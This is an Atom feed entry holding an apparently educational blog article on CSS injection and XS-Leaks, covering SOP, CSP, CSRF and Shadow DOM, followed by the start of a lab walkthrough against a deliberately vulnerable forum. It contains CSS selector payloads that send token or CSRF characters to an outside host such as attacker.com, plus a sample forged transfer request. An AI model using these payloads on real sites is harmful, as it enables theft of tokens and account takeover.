<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://inferi.club/feed.xml" rel="self" type="application/atom+xml" /><link href="https://inferi.club/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-06-27T23:12:42+00:00</updated><id>https://inferi.club/feed.xml</id><title type="html">inferi</title><subtitle>a small group of friends writing about computer science and information security</subtitle><author><name>the inferi collective</name></author><entry><title type="html">Data Exfiltration with Style (CSS)</title><link href="https://inferi.club/blog/data-exfiltration-with-style-css/" rel="alternate" type="text/html" title="Data Exfiltration with Style (CSS)" /><published>2026-06-24T03:07:00+00:00</published><updated>2026-06-24T03:07:00+00:00</updated><id>https://inferi.club/blog/data-exfiltration-with-style-css</id><content type="html" xml:base="https://inferi.club/blog/data-exfiltration-with-style-css/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a></li>
  <li><a href="#sop-csp-and-csrf" id="markdown-toc-sop-csp-and-csrf">SOP, CSP and CSRF</a>    <ul>
      <li><a href="#sop-same-origin-policy" id="markdown-toc-sop-same-origin-policy">SOP (Same-Origin Policy)</a></li>
      <li><a href="#csp-content-security-policy" id="markdown-toc-csp-content-security-policy">CSP (Content-Security-Policy)</a></li>
      <li><a href="#csrf-cross-site-request-forgery" id="markdown-toc-csrf-cross-site-request-forgery">CSRF (Cross-Site Request Forgery)</a></li>
    </ul>
  </li>
  <li><a href="#xs-leaks-cross-site-leaks" id="markdown-toc-xs-leaks-cross-site-leaks">XS-Leaks (Cross-Site Leaks)</a>    <ul>
      <li><a href="#css-injection" id="markdown-toc-css-injection">CSS Injection</a>        <ul>
          <li><a href="#shadow-dom" id="markdown-toc-shadow-dom">Shadow DOM</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#chrome-vs-firefox" id="markdown-toc-chrome-vs-firefox">Chrome vs Firefox</a></li>
  <li><a href="#practical-example" id="markdown-toc-practical-example">Practical Example</a>    <ul>
      <li><a href="#proof-of-concept" id="markdown-toc-proof-of-concept">Proof of Concept</a></li>
    </ul>
  </li>
  <li><a href="#mitigations---practical-example" id="markdown-toc-mitigations---practical-example">Mitigations - Practical Example</a></li>
  <li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<blockquote>
  <p>This article emerged after I gave a talk at BSidesSP Red Team Village (2026) and at a community called Hacking Club. During both presentations, some questions and observations arose, so I decided to turn everything into an article that can be updated whenever any improvements or errors are identified.</p>
</blockquote>

<p>CSS, or <em>Cascading Style Sheets</em>, is a stylesheet language for building layouts and visually styling web applications. CSS follows a simple structure where we define a selector and a declaration block that specifies how that selector will be styled. For example, to apply the color red to an element with the class title, the CSS code would be:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">.title</span> <span class="p">{</span>
    <span class="nl">color</span><span class="p">:</span> <span class="no">red</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The browser that receives the HTML content then converts this document into a DOM tree. The CSS rules, whether referenced from a .css file or in the HTML code itself, are organized into blocks based on the different elements they will be applied to. The rules are then applied to the DOM tree and to the CSSOM, resulting in a render tree, which is a tree stored internally by the browser to represent the visual elements.</p>

<p><img src="https://blog.logrocket.com/wp-content/uploads/2018/04/0_bXFDb1USqAonjGYa-1024x367.png" width="900px" /></p>

<p>An interesting detail is that each browser renders this in its own way. The render tree and the CSSOM are standardized by the specs, but each engine (Blink, Gecko, Webkit) has its own <em>user-agent stylesheets</em> (the browser’s default CSS rules), and this results in differences in margins, paddings, and the appearance of forms.</p>

<p><img src="https://i.sstatic.net/Q8CNG.png" width="900px" /></p>

<p>On more complex websites we can expect more complex CSS code. For example, let’s say I want only a phone-type input that also has the class <code class="language-plaintext highlighter-rouge">user-input</code> to get a red border, so that the user is visually warned that the field is required. The CSS code would be:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">input</span><span class="o">[</span><span class="nt">type</span><span class="o">=</span><span class="s1">"tel"</span><span class="o">]</span><span class="nc">.user-input</span> <span class="p">{</span>
    <span class="nl">border</span><span class="p">:</span> <span class="m">1px</span> <span class="nb">solid</span> <span class="no">red</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Applying this red border to the target element is a visual change, local to the user’s browser, and it does not allow an external attacker to decide whether some condition is true or false. However, the possibility of creating an observable feedback channel (yes/no), combined with the ability to make external requests directly from CSS, is what gives rise to the <strong>oracle</strong>. An oracle is something that can confirm the value of a boolean condition (false or true), and this fits exactly with the idea of exfiltration, because even before we want to exfiltrate something, we first need to know if it exists and matches what we are looking for, in other words, a game of selector and rule.</p>

<h2 id="sop-csp-and-csrf">SOP, CSP and CSRF</h2>

<p>You can imagine the risk that data exfiltration creates, given that it is entirely possible. For that reason, there are currently several protections built into browsers themselves, plus others that can be applied at the application level to help mitigate this risk. Below, we will talk a bit about SOP, CSP, and CSRF.</p>

<h3 id="sop-same-origin-policy">SOP (Same-Origin Policy)</h3>

<p>SOP, or <em>Same-Origin Policy</em>, is a native mechanism of modern browsers that ensures a request from A to B respects its origin and establishes some policies to determine whether that request can read the result or not. This policy is based on the origin, where three elements are evaluated: <code class="language-plaintext highlighter-rouge">scheme</code>, <code class="language-plaintext highlighter-rouge">host</code>, and <code class="language-plaintext highlighter-rouge">port</code>. If any of the three elements differ, trust is broken.</p>

<table>
  <thead>
    <tr>
      <th>Origin</th>
      <th>Scheme</th>
      <th>Host</th>
      <th>Port</th>
      <th>Same origin?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>https://www.facebook.com:443/perfil</td>
      <td>HTTPS</td>
      <td>www.facebook.com</td>
      <td>443</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td>https://www.facebook.com:443/amigos</td>
      <td>HTTPS</td>
      <td>www.facebook.com</td>
      <td>443</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td>http://www.facebook.com:80/perfil</td>
      <td>HTTP</td>
      <td>www.facebook.com</td>
      <td>80</td>
      <td>No</td>
    </tr>
    <tr>
      <td>https://mobile.facebook.com:443/perfil</td>
      <td>HTTPS</td>
      <td>mobile.facebook.com</td>
      <td>443</td>
      <td>No</td>
    </tr>
  </tbody>
</table>

<p>With the table above it becomes easier to understand how these policies are applied. If we look at the first two rows of this table, the origin is the same because both use the HTTPS scheme, both belong to the domain www.facebook.com, and both use port 443, so no policy is being violated.</p>

<p>However, if we look at the third row, there are two differences that break the policy. The first one is the scheme, which in this case is HTTP. Another issue is that, since it is an HTTP request, it uses port 80 by default, which is already a second violation of the policy. Putting it all together, we can see that it is not a same-origin request.</p>

<p>The same goes for the fourth row, which also violates the policy, in this case because of the different host. Even though it is still a subdomain related to www.facebook.com, it is not exactly www.facebook.com, but rather mobile.facebook.com. So the policy understands that it is not from the same origin and does not allow mobile.facebook.com to read the response from www.facebook.com via JavaScript.</p>

<p>In case you did not notice, the issues pointed out above only represent problems faced by JavaScript requests (XHR/fetch) coming from an external origin. With CSS, it is possible to respect all of this and still exfiltrate data, but there is another detail that can become a barrier we have to face.</p>

<h3 id="csp-content-security-policy">CSP (Content-Security-Policy)</h3>

<p>Fortunately, the browser does not rely on a single protection to control how data flows between applications. To tell the browser and the application the rules for how the content (images, JS or CSS files, etc.) should behave in that environment, we have CSP (<em>Content-Security-Policy</em>).</p>

<p>CSP is a mechanism that helps prevent or minimize the attack surface and the risks that attackers exploit, by embedding a list of rules that are passed from the site to the browser. Generally, CSP is used to prevent Cross-Site Scripting (XSS) attacks, blocking the insertion of direct JavaScript code or scripts from untrusted sources, but it can also be useful against other attacks such as <a href="https://portswigger.net/web-security/clickjacking">Clickjacking</a> and <a href="https://coalfire.com/the-coalfire-blog/mime-sniffing-in-browsers-and-the-security">MIME sniffing</a>.</p>

<p>CSP contains several rules that can be embedded into the application, for example:</p>
<ul>
  <li>default-src: Defines a default policy for the process of fetching JavaScript content, images, CSS, fonts, AJAX requests, and others. It works partially as a fallback rule when there is no explicit rule for a given scenario. Just keep in mind that not all rules use default-src as a fallback.
    <ul>
      <li>Example: <code class="language-plaintext highlighter-rouge">default-src 'self' cdn.inferi.club;</code></li>
    </ul>
  </li>
  <li>script-src: Defines valid and trusted origins for fetching JavaScript code and files.
    <ul>
      <li>Example: <code class="language-plaintext highlighter-rouge">script-src 'self' js.inferi.club;</code></li>
    </ul>
  </li>
  <li>style-src: Defines valid and trusted origins for fetching CSS code and files.
    <ul>
      <li>Example: <code class="language-plaintext highlighter-rouge">style-src 'self' css.inferi.club;</code></li>
    </ul>
  </li>
  <li>img-src: Defines valid and trusted origins for fetching images.
    <ul>
      <li>Example: <code class="language-plaintext highlighter-rouge">img-src 'self' img.inferi.club;</code></li>
    </ul>
  </li>
</ul>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/csp.png" /></p>
<blockquote>
  <p>Credits: https://developer.mozilla.org</p>
</blockquote>

<p>The main problem with CSP is that there is no standard, and it has to be applied by the developer themselves, depending on the application’s requirements, which tend to change throughout the development and evolution of the project. For example, the implementation of new features can result in a weakness. These days it is quite common to find applications that do not use CSP at all, or that use it but in a misconfigured way, given how hard it is to keep complex applications stable when they depend on third-party resources or similar scenarios.</p>

<p>For example, imagine a forum where the developer allows users to place images in their profile signatures and, to avoid having to host those images locally and create a file upload form, decides to let users attach images from external sources. So the developer applies the rule <code class="language-plaintext highlighter-rouge">img-src *;</code> in the forum’s CSP. This small misconfiguration can be combined with a vulnerability to result in data exfiltration.</p>

<h3 id="csrf-cross-site-request-forgery">CSRF (Cross-Site Request Forgery)</h3>

<p>CSRF, or <em>Cross-Site Request Forgery</em>, is an attack in which the attacker tricks users into performing an action unintentionally, which can be exploited when they access an environment controlled by the attacker. Examples include: changing a password, changing an email, adding the attacker as a trusted contact, performing bank transfers, and others, partially bypassing the Same-Origin Policy.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/csrf.png" /></p>
<blockquote>
  <p>Credits: https://portswigger.net/web-security/csrf</p>
</blockquote>

<p>For a CSRF attack to be performed and considered effective, three important prerequisites must be met:</p>
<ol>
  <li>The CSRF must target a relevant action, such as changing a password, sending a PIX transfer, changing the account email, etc. There is no impact if CSRF is used, for example, to log the user out of the application, unless it is later combined with another type of attack;</li>
  <li>The user’s session must be controlled by the Cookie header, since the browser sends them automatically in cross-site requests if the Cookie does not have the values SameSite=Lax or SameSite=Strict;</li>
  <li>All parameters of the target request must be known or predictable. This includes the names, which cannot be random, as well as the values, which cannot be unknown to the attacker, such as the victim user’s current password.</li>
</ol>

<p>Here is an example of a CSRF attack hosted on the attacker’s site, where the goal is to make the victim perform a transaction:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /transfer/pix HTTP/1.1
Host: bancocn.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=kDmwjoKLlwJ123dwlopJ2XlpwklS

valor=1000&amp;chavepix=dsm@dsm.com
</code></pre></div></div>

<p>We can see in the sample request above that all the prerequisites mentioned earlier are met: it is a relevant action, the session is managed via Cookie, and finally, the values are easy to guess and follow a standard format.</p>

<p>These days there are several protections against CSRF attacks to prevent attackers from exploiting this kind of behavior. Some of them are:</p>
<ul>
  <li>CSRF Token: An unpredictable token with good entropy, tied to the session and validated server-side on every request. It is the strongest protection when properly implemented.</li>
  <li>SameSite=Lax/Strict: A protection that can be applied to the Cookie header and is effective against most POST vectors. Even so, SameSite Lax still allows GET on top-level navigation. Chrome has been applying SameSite=Lax natively since 2021, even when it is not explicitly defined.</li>
  <li>Referer: A secondary and unreliable layer. It can be suppressed by proxies, browser policies, or by the victim themselves.</li>
</ul>

<p>An interesting point about <code class="language-plaintext highlighter-rouge">SameSite=Lax</code> in Chrome is that it is possible to bypass it within a small time window. To avoid breaking SSO mechanisms, Chrome does not apply this restriction during the first 120 seconds of a top-level POST request, which results in a two-minute window that can become susceptible to cross-site attacks.</p>

<p>It is worth reiterating that none of the protections above are silver bullets and cannot be considered unbreakable. As mentioned before, the application’s needs and continuous development can generate events that directly impact these points and are likely to result in vulnerabilities in the environment.</p>

<h2 id="xs-leaks-cross-site-leaks">XS-Leaks (Cross-Site Leaks)</h2>

<p>Given all this context, we can see that there are several protections and layers that are applied even before a request is sent from one origin to another. So the best path is to lean on native browser functions in a way that does not require breaking any policy or rule of the application, but only building a request that fits enough for what the browser and the application expect, while still exploiting some vulnerability.</p>

<p>XS-Leaks (Cross-Site Leaks) is a category of vulnerabilities derived from side-channel attacks in the web environment. The goal is to abuse the possibility of sites interacting with each other and to exploit these mechanisms to extract information about the user. Unlike Cross-Site Request Forgery, whose goal is to make the user take actions controlled by the attacker, XS-Leaks only extracts information from the user.</p>

<p>This is where we use the oracle concept (or Cross-site oracles) again, to find out whether the user’s sensitive information is available and how we can work with boolean conditions to exfiltrate it. An example of this would be on GitHub: if you have a private repository attached to your account and use the search function to type the exact name of the repository, it will appear. If the environment were vulnerable, we could abuse this:</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/github.png" /></p>

<p>The biggest difficulty in dealing with XS-Leaks issues is that the root cause does not always involve the application itself, but rather a default behavior of the browser. So there can be vulnerable applications that did nothing wrong. Fortunately, browsers implement, and continue to implement, several defense mechanisms to work around these problems, such as:</p>
<ul>
  <li>SameSite Cookies: Using the SameSite property on cookies is very effective against Cross-Site Leaks attacks, especially when applied in an architecturally safe way.</li>
  <li>Cross-Origin-Opener-Policy: Cross-Origin-Opener-Policy (COOP) is a response header that, when set (e.g., <code class="language-plaintext highlighter-rouge">same-origin</code>), places the document into its own <em>browsing context group</em>, cutting the reference between it and any cross-origin window that opened it or that it later opens, so <code class="language-plaintext highlighter-rouge">window.opener</code> becomes <code class="language-plaintext highlighter-rouge">null</code>. This neutralizes XS-Leaks that depend on cross-origin references such as <code class="language-plaintext highlighter-rouge">window.opener</code>, <code class="language-plaintext highlighter-rouge">window.frames</code>, or <code class="language-plaintext highlighter-rouge">window.length</code>.</li>
  <li>Cross-Origin-Resource-Policy: Cross-Origin-Resource-Policy (CORP) is a response header set on the resource itself (image, script, font, etc.) that indicates which origins are allowed to embed it. With values like <code class="language-plaintext highlighter-rouge">same-origin</code> or <code class="language-plaintext highlighter-rouge">same-site</code>, the browser blocks the loading of the resource from documents that do not match, preventing attacker pages from embedding the protected resource and using it as a side channel.</li>
</ul>

<p>Even so, just like the other defense mechanisms we talked about earlier (SOP and CSP), the implementation depends on the developer, who must know about these mechanisms and also know how to apply them without breaking the entire application. For that reason, they are often left out. It is possible to find more mature applications that managed to apply this in their environments and it works very well, but it is not the rule, let alone a standard.</p>

<p>Within XS-Leaks there are several attacks that can be exploited, some of which are:</p>
<ul>
  <li>Cross-Site Search (XS-Search): Consists of abusing response time when a resource that exists takes more or less time to be found than content that does not exist;</li>
  <li>Frame Counting: Uses the value of the <code class="language-plaintext highlighter-rouge">window.length</code> property to measure whether some condition is false or true. For example, let’s say that on LinkedIn, if I have a connection with someone, 10 frames are loaded on the page, but if I do not have a connection, only 9 frames are loaded. This is a metric that can be used in a Frame Counting attack;</li>
  <li>Cache Probing: This is a technique for detecting whether some resource has already been stored in the browser cache, which is very common for images, scripts, and HTML code;</li>
  <li>ID Attribute: Abuses the <code class="language-plaintext highlighter-rouge">id</code> attribute to identify HTML elements in the environment. Since it is possible to navigate to content with an <code class="language-plaintext highlighter-rouge">id</code> attribute via hash fragments (<code class="language-plaintext highlighter-rouge">https://example.com/profile#bank</code>), another origin can use this to build an oracle.</li>
</ul>

<p>You will notice from the list above that everything is based on determining whether some condition is true or false, and this is the premise we have to work with. In this article, only the CSS Injection attack and vulnerability will be covered.</p>

<h3 id="css-injection">CSS Injection</h3>

<p>CSS Injection is a vulnerability that occurs when there is some data input in the application that is not being properly sanitized, allowing an attacker to insert CSS code to be rendered by the environment. It is quite common for this vulnerability to appear in the same scenario where HTML Injection is present, since CSS Injection depends on HTML Injection (in practice). However, CSS Injection can be very useful when JavaScript execution is blocked (whether by WAF, whitelists, or CSP), but it is still possible to inject code into the page.</p>

<p>The CSS Injection attack is quite old, there are articles from 2012, written by the researcher Mario Heiderich (“Got Your Nose”), and there are probably even older resources. Over time, the need for new functions, attributes, and other features in CSS has only grown, increasing the range of possibilities.</p>

<p>In CSS, there are some functions that allow us to fetch external resources to apply some kind of style to an attribute, the most commonly used one being <code class="language-plaintext highlighter-rouge">background-image</code>. The background-image can be used in the following ways:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">background-image</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="s1">"favicon.ico"</span><span class="o">);</span> <span class="c">/* Fetching a local image that already exists in the application */</span>
<span class="nt">background-image</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="s1">"https://inferi.club/img/example.jpg"</span><span class="o">);</span> <span class="c">/* Fetching an external image */</span>
</code></pre></div></div>

<p>Given the possibility of sending a request to an external origin when the CSS rule is applied, this is exactly the oracle we are looking for. For example, let’s say application A has an <code class="language-plaintext highlighter-rouge">input</code> containing a user’s token, and it is possible to inject CSS into the same page where the <code class="language-plaintext highlighter-rouge">input</code> exists. We can use the following code:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"token"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"a"</span><span class="o">]</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("https://inferi.club?token_char=a")</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This will basically follow the flow below:</p>
<ol>
  <li>Is there an <code class="language-plaintext highlighter-rouge">input</code> element on the page? - YES</li>
  <li>Is the name of the <code class="language-plaintext highlighter-rouge">input</code> element <code class="language-plaintext highlighter-rouge">token</code>? - YES</li>
  <li>Does the value of the <code class="language-plaintext highlighter-rouge">input</code> element named <code class="language-plaintext highlighter-rouge">token</code> start with the letter <code class="language-plaintext highlighter-rouge">a</code>? - YES</li>
</ol>

<p>Since the answer to all the questions was positive, the browser will make a request to <code class="language-plaintext highlighter-rouge">https://inferi.club?token_char=a</code> to set that as the background image of the target element.</p>

<p>The point is that the attribute selectors <code class="language-plaintext highlighter-rouge">[attribute="value"]</code> only operate on the element itself, which can be a problem when the attribute uses an <code class="language-plaintext highlighter-rouge">opacity: 0;</code> property, because this prevents the browser from seeing it through the traditional attribute selectors. Fortunately, since 2022, Chrome/Edge support a pseudo-class that solves this, and later, starting in 2023, it also began to work in Firefox. The pseudo-class is called: <code class="language-plaintext highlighter-rouge">:has()</code>.</p>

<p>A positive point about the <code class="language-plaintext highlighter-rouge">:has()</code> pseudo-class is that it is a relational selector. We can select an element based on what exists inside it or around that attribute. An example of using the <code class="language-plaintext highlighter-rouge">:has()</code> class would be the following:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">.container</span><span class="nd">:has</span><span class="o">(</span><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"username"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"admin"</span><span class="o">])</span> <span class="nf">#s0</span> <span class="p">{</span>
    <span class="nl">color</span><span class="p">:</span> <span class="no">red</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In another scenario, let’s say that in the password change process for the user’s account, besides the new password, the application also sends a CSRF token inside the form through an <code class="language-plaintext highlighter-rouge">input</code> element that has the <code class="language-plaintext highlighter-rouge">opacity: 0;</code> property, and this CSRF token is required to perform the password change. The lookup with the <code class="language-plaintext highlighter-rouge">:has()</code> pseudo-class would look like this:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"/trocar-senha"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"new_password"</span> <span class="na">type=</span><span class="s">"password"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">style=</span><span class="s">"opacity: 0;"</span> <span class="na">name=</span><span class="s">"token_csrf"</span> <span class="na">value=</span><span class="s">"a1b2c3"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>

form:has(input[name="token_csrf"][value^="a"]) {
    background-image: url(https://inferi.club/?char=a)
}
</code></pre></div></div>

<p>And so, this information would reach the attacker’s server:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>200 OK GET /?char=a
</code></pre></div></div>

<h4 id="shadow-dom">Shadow DOM</h4>

<p>Shadow DOM is a browser mechanism that allows you to create a Shadow Tree attached to some element of the main DOM. It works as an encapsulated environment with its own CSS scope, so that external rules do not apply to it and its own rules do not apply outside of it. Some native browser elements like <code class="language-plaintext highlighter-rouge">&lt;video&gt;</code> and <code class="language-plaintext highlighter-rouge">&lt;input type="range"&gt;</code> already use Shadow DOM internally. An interesting thing about Shadow DOM is that it can be created in two modes: <code class="language-plaintext highlighter-rouge">open</code> or <code class="language-plaintext highlighter-rouge">closed</code>, which determine whether an external script can reach it or not.</p>

<p>In <code class="language-plaintext highlighter-rouge">open</code> mode, external JavaScript code can access the shadow root through the <code class="language-plaintext highlighter-rouge">.shadowRoot</code> property. In <code class="language-plaintext highlighter-rouge">closed</code> mode, if JavaScript tries to access it through this property, it will receive <code class="language-plaintext highlighter-rouge">null</code> instead of the Shadow DOM content.</p>

<p>Here is an example of how Shadow DOM works. Imagine that inside an HTML page there is CSS code setting the following rule:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;style&gt;</span>
    <span class="nt">p</span> <span class="p">{</span>
        <span class="nl">color</span><span class="p">:</span> <span class="no">red</span><span class="p">;</span>
        <span class="nl">font-size</span><span class="p">:</span> <span class="m">32px</span><span class="p">;</span>
    <span class="p">}</span>
<span class="nt">&lt;/style&gt;</span>
</code></pre></div></div>

<p>In this context, all <code class="language-plaintext highlighter-rouge">p</code> elements inside the <code class="language-plaintext highlighter-rouge">&lt;body&gt;</code> will be affected by the CSS rule. To avoid this with Shadow DOM, we can create a <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> with an <code class="language-plaintext highlighter-rouge">id</code> indicating that it will be the shadow host and, using JavaScript, attach the Shadow DOM:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"shadow-host"</span><span class="nt">&gt;&lt;/div&gt;</span>

<span class="nt">&lt;script&gt;</span>
    <span class="kd">const</span> <span class="nx">host</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">#shadow-host</span><span class="dl">'</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">shadowRoot</span> <span class="o">=</span> <span class="nx">host</span><span class="p">.</span><span class="nx">attachShadow</span><span class="p">({</span> <span class="na">mode</span><span class="p">:</span> <span class="dl">'</span><span class="s1">open</span><span class="dl">'</span> <span class="p">});</span>

    <span class="nx">shadowRoot</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="s2">`&lt;p&gt;Not affected by global CSS&lt;/p&gt;`</span><span class="p">;</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Many people believe that Shadow DOM is a defense mechanism against CSS Injection. However, this is not necessarily true, with one important condition: the attacker’s CSS needs to be injected inside the shadow root itself. CSS external to the shadow root cannot see what is inside it.</p>

<p>The attack scenario happens when the application dynamically injects attacker-controlled content directly into the shadow root, for example:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">shadowRoot</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">style</span><span class="p">);</span> <span class="c1">// style.textContent = ATTACKER_CONTENT</span>
</code></pre></div></div>

<p>In this case, since the CSS is already inside the shadow root, it is possible to use the <code class="language-plaintext highlighter-rouge">:host</code> pseudo-class to reference the shadow host and combine it with <code class="language-plaintext highlighter-rouge">:has()</code> to leak its attributes or those of its ancestors in the main DOM:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">:host:has</span><span class="o">(</span><span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"a"</span><span class="o">])</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("http://attacker.com?char=a")</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Note that <code class="language-plaintext highlighter-rouge">:host</code> only takes effect when used inside a stylesheet of the shadow root itself, otherwise it does not work. Shadow DOM is not a security boundary, as the CSS spec itself states, but the attack vector depends directly on having injection inside the shadow root, not only on the main page.</p>

<p>To make it easier to understand the exploitation of the CSS Injection vulnerability and the XS-Leaks concept, the lab will not include the use of Shadow DOM in its structure, but this question came up during my presentation at BSidesSP Red Team Village (2026), and the explanation was missing the detail of this condition.</p>

<h2 id="chrome-vs-firefox">Chrome vs Firefox</h2>

<p>An important thing to know is that Chrome and Firefox render CSS in different ways. This is called “progressive rendering” (or also “batched rendering”). In Chrome, each <code class="language-plaintext highlighter-rouge">&lt;link rel="stylesheet"&gt;</code> is processed individually. When Chrome finishes downloading and applying the CSS of the first <code class="language-plaintext highlighter-rouge">link</code>, the rules of that CSS are already applied to the DOM. In other words, it is possible for <code class="language-plaintext highlighter-rouge">link[0]</code> to apply the CSS even before the CSS of <code class="language-plaintext highlighter-rouge">link[1]</code> reaches the origin and is applied.</p>

<p>In Firefox, the browser groups all <code class="language-plaintext highlighter-rouge">&lt;link rel="stylesheet"&gt;</code> into a kind of “bucket” and only renders the CSS after all of them are downloaded. So it will wait for <code class="language-plaintext highlighter-rouge">link[0]</code>, <code class="language-plaintext highlighter-rouge">link[1]</code>, <code class="language-plaintext highlighter-rouge">link[2]</code>, and so on, to be ready before applying the CSS. This directly impacts the exfiltration process, which happens sequentially and character by character.</p>

<p>This is important to know because the way CSS Injection affects one user may not affect another one correctly, due to this behavior. However, it is still possible to exploit this technique in Firefox by using chained <code class="language-plaintext highlighter-rouge">@import</code>, bypassing the browser’s batching behavior. This is not an indication that one browser is more secure than the other, they just operate in different ways.</p>

<h2 id="practical-example">Practical Example</h2>

<p>For this lab, an environment was created with the following conditions:</p>
<ul>
  <li>A PHP forum, simulating a community with posts, profiles, and so on;</li>
  <li>There are regular users and administrators in the application;</li>
  <li>Users can visit each other’s profile;</li>
  <li>The application is vulnerable to CSS Injection and CSRF attacks;</li>
  <li>The application has a CSP with the following rules:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">script-src 'self' https://cdn.jsdelivr.net</code>: Only executes JavaScript from the same origin and the indicated CDN</li>
      <li><code class="language-plaintext highlighter-rouge">style-src * 'unsafe-inline'</code>: Allows CSS from any origin and inline style</li>
      <li><code class="language-plaintext highlighter-rouge">img-src *</code>: Allows images from any origin</li>
    </ul>
  </li>
</ul>

<hr />

<p>On the application’s home page, we are greeted by a home page listing some posts made by the forum’s administrator. We have a search option and another one to authenticate to the application.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/1.png" /></p>

<p>Navigating to the login form, we have the “Username” and “Password” fields. In this lab, we have the following users:</p>
<ul>
  <li>Admin: admin/password123</li>
  <li>User: alice/password123</li>
  <li>Guest: attacker/password123</li>
</ul>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/2.png" /></p>

<p>After authenticating to the application and going to our profile page, just like in other forums, we have an option to add our own biography, which is accessible from our profile. Besides that, the application gives a hint that HTML code is supported.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/3.png" /></p>

<p>By inserting the code <code class="language-plaintext highlighter-rouge">&lt;h1&gt;Teste&lt;/h1&gt;</code>, we can see that the HTML code is rendered in the application, indicating that the application is vulnerable to HTML Injection. To escalate our impact, let’s try to inject some JavaScript code into the field to print the user’s session cookies. The CSP blocks us, so no JavaScript execution for us.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/4.png" /></p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/5.png" /></p>

<p>However, if we revisit the application’s CSP, two rules applied by the developer open the door for some weaknesses in the application, namely: <code class="language-plaintext highlighter-rouge">style-src * 'unsafe-inline'; img-src *;</code>, indicating that we can load CSS and images from any origin, in addition to executing inline CSS.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/6.png" /></p>

<p>Navigating through the application, after authenticating, we can see that there is a password change function and it only asks for the user’s new password and a confirmation of the new password. If we analyze the request made by the application, the parameters sent are: <code class="language-plaintext highlighter-rouge">csrf_token</code>, <code class="language-plaintext highlighter-rouge">new_password</code>, <code class="language-plaintext highlighter-rouge">confirm_password</code>. This <code class="language-plaintext highlighter-rouge">csrf_token</code> field is present on every page of the application that performs a POST request, inside an <code class="language-plaintext highlighter-rouge">input</code>.</p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/7.png" /></p>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/8.png" /></p>

<p>To confirm whether it is indeed possible to extract this CSRF token, let’s go back to our profile, create our malicious CSS code, and start a server that will receive the connection if the CSS rule is applied. For that, the CSS code will look for the <code class="language-plaintext highlighter-rouge">input</code> element with the name <code class="language-plaintext highlighter-rouge">csrf</code> that starts with the character <code class="language-plaintext highlighter-rouge">z</code>. We can see that the request reaches our server:</p>

